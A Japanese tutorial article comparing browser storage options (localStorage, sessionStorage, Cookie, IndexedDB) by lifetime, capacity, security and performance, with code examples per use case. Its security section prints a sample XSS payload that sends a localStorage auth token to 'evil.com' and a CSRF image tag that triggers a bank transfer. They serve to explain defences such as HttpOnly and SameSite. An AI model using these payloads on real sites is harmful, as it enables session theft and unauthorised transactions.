ブラウザストレージ比較:localStorage、Cookie、IndexedDBの選び方
はじめに:ブラウザストレージの選択に迷っていませんか?
「ユーザー設定を保存したいけど、localStorageでいいのかな?」
「認証トークンはCookieに入れるべき?それともlocalStorage?」
「大きなデータを保存したいけど、どれが適切?」
ブラウザでデータを保存する方法は複数あり、それぞれに特徴があります。しかし、「結局どれを使えばいいの?」という疑問を持つ方は多いのではないでしょうか。
本記事では、単なる機能比較にとどまらず、実際のユースケース別に最適な選択肢を提示します。初心者の方にも分かりやすいように、セキュリティの概念も含めて丁寧に解説していきます。
ブラウザストレージの全体像
まず、主要な4つのストレージ技術を整理しましょう。
それぞれの技術は異なる目的で設計されています。以下の4つの軸で比較すると、特徴が明確になります。
4つの比較軸で理解する
1. データのライフサイクル(いつまで保存される?)
| ストレージ | 保存期間 | 消える条件 |
|---|---|---|
| 💾 localStorage | 半永続的 | ユーザーが手動で削除するまで(またはコードで削除) |
| ⏱️ sessionStorage | ページセッション中 | ブラウザのタブ/ウィンドウを閉じると消える |
| 🍪 Cookie | 設定により可変 | 有効期限を設定可能(Max-Age、Expires属性) |
| 🗄️ IndexedDB | 半永続的 | ユーザーが手動で削除するまで |
2. 容量制限(どのくらい保存できる?)
| ストレージ | 容量上限(目安) | 用途 |
|---|---|---|
| 🍪 Cookie | 約4KB(ドメインあたり) | 小さな識別子、トークン |
| 💾 localStorage | 5〜10MB程度 | 設定情報、軽量なデータ |
| ⏱️ sessionStorage | 5〜10MB程度 | 一時的な軽量データ |
| 🗄️ IndexedDB | 利用可能なディスク容量に依存(通常数百MB以上) | 大容量データ、オフライン対応 |
3. セキュリティ(どう守られる?)
セキュリティは特に重要な観点です。それぞれの特徴を見ていきましょう。
Cookieのセキュリティフラグ
Cookieには、セキュリティを強化するための3つの重要なフラグがあります。
// ⚠️ これはサーバーサイド(Node.js/Express)での設定例
// JavaScriptからはHttpOnlyフラグは設定できません
res.cookie('authToken', 'abc123', {
httpOnly: true, // JavaScriptからアクセス不可
secure: true, // HTTPS通信のみ
sameSite: 'strict', // CSRF対策
maxAge: 3600000 // 1時間(ミリ秒)
});
| フラグ | 説明 | 効果 |
|---|---|---|
| HttpOnly | JavaScriptからのアクセスを禁止 | XSS攻撃(後述)によるCookie盗難を防ぐ |
| Secure | HTTPS通信のみで送信 | 中間者攻撃(盗聴)を防ぐ |
| SameSite | クロスサイトリクエストでの送信を制限 | CSRF攻撃(後述)を防ぐ |
XSS(Cross-Site Scripting)攻撃とは?
XSS攻撃は、悪意のあるJavaScriptコードをWebページに注入し、ユーザーのブラウザで実行させる攻撃です。
<!-- XSS攻撃の例(危険なコード) -->
<!-- 攻撃者が入力フォームに以下を注入 -->
<script>
// localStorageからトークンを盗む
fetch('https://evil.com/steal', {
method: 'POST',
body: localStorage.getItem('authToken')
});
</script>
各ストレージのXSS脆弱性
| ストレージ | JavaScriptからアクセス | XSS攻撃のリスク |
|---|---|---|
| 💾 localStorage | ✅ 可能 | 🔴 高い(盗まれる可能性) |
| ⏱️ sessionStorage | ✅ 可能 | 🔴 高い(盗まれる可能性) |
| 🍪 Cookie (HttpOnlyなし) | ✅ 可能 | 🔴 高い(盗まれる可能性) |
| 🍪 Cookie (HttpOnly) | ❌ 不可能 | 🟢 低い(保護される) |
| 🗄️ IndexedDB | ✅ 可能 | 🔴 高い(盗まれる可能性) |
CSRF(Cross-Site Request Forgery)攻撃とは?
CSRF攻撃は、ユーザーが意図しないリクエストを別のサイトから送信させる攻撃です。
<!-- 攻撃者のサイトに設置された悪意のあるコード -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- ユーザーがこのページを開くだけで、勝手に送金リクエストが送られる -->
SameSite属性による防御
// SameSite属性の設定例
document.cookie = "sessionId=xyz; SameSite=Strict"; // 最も厳格
document.cookie = "sessionId=xyz; SameSite=Lax"; // 中程度
document.cookie = "sessionId=xyz; SameSite=None; Secure"; // 制限なし(Secure必須)
| SameSite値 | 挙動 | 用途 |
|---|---|---|
| Strict | 他サイトからのリクエストでは一切送信しない | 最も安全(認証Cookieに推奨) |
| Lax | トップレベルのナビゲーション(GETリクエスト)のみ送信 | 一般的な用途(デフォルト値) |
| None | すべてのリクエストで送信(Secure属性が必須) | クロスサイトで必要な場合のみ |
4. パフォーマンス(速度と効率)
| ストレージ | アクセス速度 | サーバー通信 | 特徴 |
|---|---|---|---|
| 💾 localStorage | 同期(ブロッキング) | なし | 小さなデータなら高速 |
| ⏱️ sessionStorage | 同期(ブロッキング) | なし | localStorageと同等 |
| 🍪 Cookie | 同期(ブロッキング) | あり(自動送信) | HTTPリクエストごとに送信されるため、サイズが大きいと遅い |
| 🗄️ IndexedDB | 非同期(ノンブロッキング) | なし | 大容量データでもUIをブロックしない |
実際のユースケース別:最適なストレージの選び方
ここからは、具体的なシーンごとに最適なストレージを紹介します。
ユースケース1:認証トークンの保存
最適解:HttpOnly + Secure + SameSite付きのCookie
// サーバーサイド(Node.js/Express)でのCookie設定例
res.cookie('authToken', token, {
httpOnly: true, // JavaScriptからアクセス不可
secure: true, // HTTPS通信のみ
sameSite: 'strict', // CSRF対策
maxAge: 3600000 // 1時間後に自動削除
});
理由
- XSS攻撃でトークンを盗まれるリスクを最小化
- 自動的に有効期限を設定できる
- サーバーへのリクエストで自動送信される
ユースケース2:ユーザー設定(テーマ、言語など)
最適解:localStorage
// ダークモードの設定を保存
const saveTheme = (theme) => {
localStorage.setItem('theme', theme);
};
// ページ読み込み時に設定を復元
const loadTheme = () => {
const theme = localStorage.getItem('theme') || 'light';
document.body.className = theme;
};
// 使用例
saveTheme('dark');
理由
- ブラウザを閉じても設定が残る
- サーバーに送信する必要がない(通信量の削減)
- 実装がシンプル
ユースケース3:一時的なフォーム入力の保存
最適解:sessionStorage
// フォーム入力を一時保存
const saveFormData = () => {
const formData = {
name: document.getElementById('name').value,
email: document.getElementById('email').value,
};
sessionStorage.setItem('formData', JSON.stringify(formData));
};
// ページ再読み込み時に復元
const restoreFormData = () => {
const data = sessionStorage.getItem('formData');
if (data) {
const formData = JSON.parse(data);
document.getElementById('name').value = formData.name;
document.getElementById('email').value = formData.email;
}
};
// 入力中に自動保存
document.getElementById('name').addEventListener('input', saveFormData);
document.getElementById('email').addEventListener('input', saveFormData);
理由
- タブを閉じたら自動的に消える(個人情報の保護)
- ページリロードでは保持される
- 他のタブに影響しない
ユースケース4:大容量データの保存(オフライン対応アプリ)
最適解:IndexedDB
// IndexedDBの使用例(簡略化)
const openDB = () => {
return new Promise((resolve, reject) => {
const request = indexedDB.open('MyDatabase', 1);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
request.onupgradeneeded = (event) => {
const db = event.target.result;
// オブジェクトストア(テーブルのようなもの)を作成
if (!db.objectStoreNames.contains('articles')) {
db.createObjectStore('articles', { keyPath: 'id', autoIncrement: true });
}
};
});
};
// データの保存
const saveArticle = async (article) => {
const db = await openDB();
const transaction = db.transaction(['articles'], 'readwrite');
const store = transaction.objectStore('articles');
return new Promise((resolve, reject) => {
const request = store.add(article);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
};
// データの取得
const getArticles = async () => {
const db = await openDB();
const transaction = db.transaction(['articles'], 'readonly');
const store = transaction.objectStore('articles');
return new Promise((resolve, reject) => {
const request = store.getAll();
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
};
// 使用例
await saveArticle({ title: '記事タイトル', content: '本文...' });
const articles = await getArticles();
console.log(articles);
理由
- 大容量データを保存可能(ブラウザとディスク容量に依存)
- 非同期処理でUIをブロックしない
- 複雑なデータ構造を直接保存できる
- オフラインでも動作するアプリに最適
ユースケース5:トラッキング・アナリティクス
最適解:Cookie(サードパーティCookie)
// アナリティクスのトラッキングID(概念的な例)
document.cookie = "trackingId=user123; Max-Age=31536000; SameSite=None; Secure";
理由
- 複数のドメイン間でユーザーを識別できる
- 有効期限を長期間に設定できる
- 広告やアナリティクスサービスで標準的に使用される
比較表:一目で分かる選択ガイド
| 用途 | 推奨ストレージ | 理由 |
|---|---|---|
| 認証トークン | Cookie(HttpOnly + Secure + SameSite) | セキュリティが最も高い |
| ユーザー設定(テーマ、言語) | localStorage | 永続的、サーバー通信不要 |
| 一時的なフォーム入力 | sessionStorage | タブを閉じたら自動削除 |
| ショッピングカート(小規模) | localStorage | 永続的、サーバー通信不要 |
| ショッピングカート(複雑) | Cookie + サーバーDB | セキュリティとデータ整合性 |
| オフライン対応アプリ | IndexedDB | 大容量、非同期 |
| キャッシュ(画像、動画) | Cache API + IndexedDB | 専用APIで効率的 |
| アナリティクス | Cookie(First-party) | クロスページでの識別 |
よくある間違いと落とし穴
実務でよく見かける間違いを紹介します。これらを避けることで、より安全で効率的な実装ができます。
❌ 間違い1: 認証トークンをlocalStorageに保存
なぜダメ?
XSS攻撃で簡単に盗まれる危険性があります。
// ❌ 避けるべき実装
localStorage.setItem('authToken', 'abc123');
// ✅ 推奨される実装(サーバーサイド)
res.cookie('authToken', 'abc123', {
httpOnly: true,
secure: true,
sameSite: 'strict'
});
❌ 間違い2: Cookieに大きなデータを保存
なぜダメ?
すべてのHTTPリクエストで送信され、通信が遅くなります。
// ❌ 避けるべき実装
document.cookie = "userData=" + JSON.stringify(largeObject); // 4KBを超える
// ✅ 推奨される実装
localStorage.setItem('userData', JSON.stringify(largeObject));
document.cookie = "userId=123"; // Cookieには識別子のみ
❌ 間違い3: sessionStorageを複数タブで共有しようとする
なぜダメ?
sessionStorageはタブごとに独立したストレージなので共有できません。
// ❌ 避けるべき実装(複数タブで共有したい場合)
sessionStorage.setItem('sharedData', 'value');
// ✅ 推奨される実装
localStorage.setItem('sharedData', 'value'); // 複数タブで共有される
特殊な環境での挙動
シークレットモード(プライベートモード)の挙動
ブラウザのシークレットモードでは、すべてのストレージがセッションストレージのように扱われます。
| ストレージ | シークレットモードでの挙動 |
|---|---|
| 💾 localStorage | タブを閉じると削除される(sessionStorageと同じ) |
| ⏱️ sessionStorage | タブを閉じると削除される(通常と同じ) |
| 🍪 Cookie | タブを閉じると削除される(セッションCookie扱い) |
| 🗄️ IndexedDB | タブを閉じると削除される |
よくある疑問に答える
Q1: localStorageとsessionStorageは、同じオリジン(ドメイン)でしか使えない?
A: その通りです。
Web StorageもCookieも、同一オリジンポリシーに従います。
// https://example.com で保存したデータ
localStorage.setItem('data', 'value');
// https://other.com からは読み取れない
// https://subdomain.example.com からも読み取れない(サブドメインが異なる)
Q2: Cookieのドメイン指定で、サブドメイン間で共有できる?
A: はい、Domain属性を使えば可能です。
// サブドメイン間で共有するCookie
document.cookie = "userId=123; Domain=example.com; Path=/";
まとめ:結局どれを使えばいい?
最後に、選択のフローチャートでまとめます。
判断基準のまとめ
-
セキュリティが最優先(認証トークンなど)
→ Cookie(HttpOnly + Secure + SameSite) -
大容量データ(オフライン対応、大量の画像など)
→ IndexedDB -
タブを閉じたら消したい(一時的なフォーム入力など)
→ sessionStorage -
永続的に残したい(ユーザー設定など)
→ localStorage -
サーバーと連携したい(認証状態など)
→ Cookie
さいごに
ブラウザストレージの選択は、一見複雑に思えますが、それぞれの特性を理解すれば、適切な判断ができます。
特に、セキュリティに関しては「知らなかった」では済まされない問題につながることもあります。本記事で紹介した基本原則を押さえて、安全で快適なWebアプリケーションを作っていきましょう。
もし迷ったときは、以下を思い出してください。
- 機密情報はCookieにHttpOnly付きで
- 設定情報はlocalStorageで
- 一時データはsessionStorageで
- 大容量データはIndexedDBで
ぜひこの記事を、ブラウザストレージ選択の際の参考にしてみてください!
Discussion
OPFSもどうぞ